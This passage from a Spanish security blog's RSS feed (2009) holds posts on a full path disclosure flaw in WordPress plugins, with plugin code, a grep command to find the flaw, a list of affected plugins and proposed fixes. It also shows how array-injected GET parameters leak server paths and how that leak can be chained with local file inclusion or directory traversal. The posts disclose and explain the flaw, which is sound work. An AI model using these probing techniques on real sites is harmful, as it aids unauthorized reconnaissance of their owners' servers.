href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en la mayoría de los plugins para WordPress</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 12:34:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=948</guid>
		<description><![CDATA[Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados. Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad Full Path Disclosure (FPD) que afecta a la mayoría de los plugins de WordPress, incluyendo al [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados.<br />
Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad <a href="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/" target="_blank">Full Path Disclosure (FPD)</a> que afecta a la mayoría de los plugins de <a href="http://wordpress.com" target="_blank">WordPress</a>, incluyendo al &#8220;Hello Dolly&#8221; y Akismet (plugins por defecto). Para explotar esta vulnerabilidad, no es necesario que el plugin esté activo, simplemente que esté instalado. Esta vulnerabilidad es debido a un problema o error a la hora de programar los plugins, al no validar la existencia de funciones antes de ejecutarlas el sistema devuelve un error fatal, mostrandonos la ruta completa de la instalación del CMS. Por ejemplo, en Akismet:</p>
<blockquote><p><strong>Fatal error</strong>:  Call to undefined function add_action() in <strong>/home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php</strong> on line <strong>26</strong></p></blockquote>
<p>Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.</p>
<p><span id="more-948"></span></p>
<p>Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$wpcom_api_key</span>, <span class="re0">$akismet_api_host</span>, <span class="re0">$akismet_api_port</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$wpcom_api_key</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = <span class="re0">$wpcom_api_key</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = get_option<span class="br0">&#40;</span><span class="st0">&#8216;wordpress_api_key&#8217;</span><span class="br0">&#41;</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_port</span> = <span class="nu0">80</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_config_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_stats_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; akismet_admin_warnings<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">add_action<span class="br0">&#40;</span><span class="st0">&#8216;init&#8217;</span>, <span class="st0">&#8216;akismet_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_admin_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span> <span class="st0">&#8216;get_plugin_page_hook&#8217;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = get_plugin_page_hook<span class="br0">&#40;</span> <span class="st0">&#8216;akismet-stats-display&#8217;</span>, <span class="st0">&#8216;index.php&#8217;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = <span class="st0">&#8216;dashboard_page_akismet-stats-display&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_head-&#8217;</span>.<span class="re0">$hook</span>, <span class="st0">&#8216;akismet_stats_script&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_init&#8217;</span>, <span class="st0">&#8216;akismet_admin_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Sólo en esas líneas se hace unas cuantas veces la llamada a la función &#8220;add_action()&#8221; que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en <em>hello.php</em> y en muchos otros plugins muy usados.</p>
<p>Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:</p>
<p><code>find . -name "*.php" -exec grep -H add_action {} \;</code></p>
<p>Y obtendremos un resultado como el siguiente:</p>
<blockquote><p>./wp-gravatar/gravatars.php:add_action(&#8216;admin_menu&#8217;, &#8216;gravatar_admin_menu&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_authdescription_init&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_recent_comments_gravatars_register&#8217;, 1);<br />
./smart-youtube/smartyoutube.php:add_action(&#8216;admin_menu&#8217;, &#8216;yte_add_pages&#8217;);<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;plugins_loaded&#8217;, &#8216;yte_install&#8217; );<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;after_plugin_row&#8217;, &#8216;yte_check_plugin_version&#8217; );<br />
./chili-code-highlighter/chili-code-highlighter.php:add_action( &#8216;plugins_loaded&#8217;, create_function( &#8221;, &#8216;global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();&#8217; ) );<br />
./wp-db-backup/wp-db-backup.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;wpdbBackup_init&#8217;);<br />
./subscribe2/counterwidget.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_s2counter_init&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;init&#8217;, &#8216;A2A_SHARE_SAVE_textdomain&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;the_content&#8217;, &#8216;A2A_SHARE_SAVE_to_bottom_of_content&#8217;, 98);<br />
./add-to-any/add-to-any.php:add_action(&#8216;wp_head&#8217;, &#8216;A2A_SHARE_SAVE_button_css&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_head&#8217;, &#8216;A2A_SHARE_SAVE_admin_head&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_menu&#8217;, &#8216;A2A_SHARE_SAVE_add_menu_link&#8217;);<br />
./creative-commons-license-widget/ccLicense.php:add_action(&#8216;widgets_init&#8217;, &#8216;widget_ccLicense_init&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;init&#8217;, &#8216;init_textdomain&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;admin_menu&#8217;, &#8216;wp_add_related_posts_options_page&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( &#8216;save_post&#8217;, &#8216;vc_twit&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(&#8216;admin_menu&#8217;, &#8216;vc_addTwitterAdminPages&#8217;);<br />
./simplepie-core/simplepie_core.php:add_action(&#8216;admin_menu&#8217;, &#8216;simplepie_core_options&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;publish_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;save_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_page_form&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;init&#8217;, array($aiosp, &#8216;init&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;wp_head&#8217;, array($aiosp, &#8216;wp_head&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;template_redirect&#8217;, array($aiosp, &#8216;template_redirect&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, array($aiosp, &#8216;admin_menu&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, &#8216;aiosp_meta_box_add&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( &#8216;admin_notices&#8217;, &#8216;aioseop_activation_notice&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_init&#8217;, &#8216;ga_admin_init&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_menu&#8217;, &#8216;add_ga_option_page&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;init&#8217;, &#8216;ga_outgoing_links&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;plugin_action_links_&#8217; . plugin_basename(__FILE__), &#8216;ga_filter_plugin_actions&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;wp_ajax_ga_ajax_accounts&#8217;, &#8216;ga_ajax_accounts&#8217;);<br />
./google-analyticator/google-analytics-stats-widget.php:add_action(&#8216;widgets_init&#8217;, &#8216;GoogleStatsWidget_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;akismet_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_init&#8217;, &#8216;akismet_admin_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;wp_set_comment_status&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;edit_comment&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;preprocess_comment&#8217;, &#8216;akismet_auto_check_comment&#8217;, 1);<br />
./akismet/akismet.php:add_action(&#8216;admin_menu&#8217;, &#8216;akismet_manage_page&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;activity_box_end&#8217;, &#8216;akismet_stats&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;rightnow_end&#8217;, &#8216;akismet_rightnow&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;manage_comments_nav&#8217;, &#8216;akismet_check_for_spam_button&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_action_akismet_recheck_queue&#8217;, &#8216;akismet_recheck_queue&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;widget_akismet_register&#8217;);<br />
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(&#8216;admin_menu&#8217;, &#8216;dl_reg_admin&#8217;);<br />
./flickr-widget/flickr_widget.php:add_action( &#8220;init&#8221;, &#8220;flickr_widgets_init&#8221; );</p></blockquote>
<p>La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:</p>
<blockquote><p>wp-gravatar<br />
smart-youtube<br />
chili-code-highlighter<br />
wp-db-backup<br />
subscribe2<br />
add-to-any<br />
creative-commons-license-widget<br />
wordpress-23-related-posts-plugin<br />
twitter-updater-using-tinyurl<br />
simplepie-core<br />
all-in-one-seo-pack<br />
google-analyticator<br />
akismet<br />
source-code-syntax-highlighting-plugin-for-wordpress<br />
flickr-widget</p></blockquote>
<p>Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span><span class="st0">&#8216;add_action&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.<br />
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.<br />
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.</p>
<p>Si lo miramos desde otro punto de vista, podríamos llegar a <em>escalar</em> el problema y decir que gran parte de la responsabilidad la tiene <strong>WordPress</strong>, todos los plugins deberían pasar por un <em>test de calidad</em> donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>WORDPRESS_ENVIRONMENT == <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;linkname=Vulnerabilidad%20en%20la%20mayor%C3%ADa%20de%20los%20plugins%20para%20WordPress">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>La vulnerabilidad Full Path Disclosure &#8230;</title>
		<link>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/</link>
		<comments>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 03:38:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=939</guid>
		<description><![CDATA[Según OWASP: Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. Según Acunetix: Description By [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-945" title="fpd" src="http://blog.zerial.org/wp-content/uploads/2009/09/fpd.png" alt="fpd" width="575" height="126" /></p>
<p>Según <a href="http://www.owasp.org/index.php/Full_Path_Disclosure" target="_blank">OWASP</a>:</p>
<blockquote><p>Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a <a title="SQL Injection" href="http://www.owasp.org/index.php/SQL_Injection">SQL Injection</a>) query to view the page source, require the attacker to have the full path to the file they wish to view.</p></blockquote>
<p>Según <a href="http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm" target="_blank">Acunetix</a>:</p>
<blockquote><p><strong>Description</strong><br />
By injecting unexpected data into a parameter. it&#8217;s possible to generate an error that will reveal the full path of the script.</p>
<p><strong>Impact</strong><br />
A remote user can determine the full path to the web root directory and other potentially sensitive information.</p></blockquote>
<p>Si bien esta vulnerabilidad no es peligrosa, es una ayuda para obtener información que nos permitirá a explotar otro tipo de vulnerabilidades como por ejemplo Local File Include, por ejemplo en el caso que <a href="http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/" target="_blank">publiqué hace un tiempo del sitio de Veramonte</a>, en el cual la combiné con una Directory Transversal.</p>
<p><span id="more-939"></span></p>
<p>La clásica forma para lograr explotar esta vulnerabilidad es transformando las variables <em>sospechosas</em> pasadas por GET a arreglos, por ejemplo: http://sitio.com/index.php?module=login&amp;action=blabla → http://sitio.com/index.php?module[]=login&amp;action=blabla. Seguramente, si el sitio está mal desarrollado, lo que hará el sistema es intentar incluir el archivo &#8220;login&#8221;,&#8221;login.php&#8221;, &#8220;login.inc.php&#8221;, etc obteniendo el nombre del fichero desde la variable &#8220;module&#8221; y si esta variable es un arreglo, mostrará un error o un warning donde podremos ver el path completo del sitio.<br />
Otra forma muy común es, teniendo el mismo caso anterior, remplazar &#8220;login&#8221; por cualquier cosa: http://sitio.com/index.php?module=asioansiuabnasi&amp;action=blabla, entonces el sistema intentará incluir el fichero &#8220;asioansiuabnasi&#8221; y como no existe, pues mostraráun warning o error.</p>
<p>Este error nos puede otorgar información como el nombre de usuario, nombre del framework o del &#8220;sistema&#8221; que se está usando y ruta física donde se encuentra. Este método nos va a servir para buscar otras &#8220;puertas de entradas&#8221; al sitio web, por ejemlo mediante la dirección IP y el nombre de usuario: http://200.55.55.55/~usuario pudiendo generar otro tipo de errores o buscar otro tipo de vulnerabilidades.</p>
<p>Hace un tiempo descubrí un bug (hasta el momento no estaba reportado) en un plugin para WordPress muy usado, que me revela la ruta exácta de la instalación del CMS. Pronto escribiré algo al respecto.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fla-vulnerabilidad-full-path-disclosure%2F&amp;linkname=La%20vulnerabilidad%20Full%20Path%20Disclosure%20%26%238230%3B">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal</title>
		<link>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/</link>
		<comments>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 00:35:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
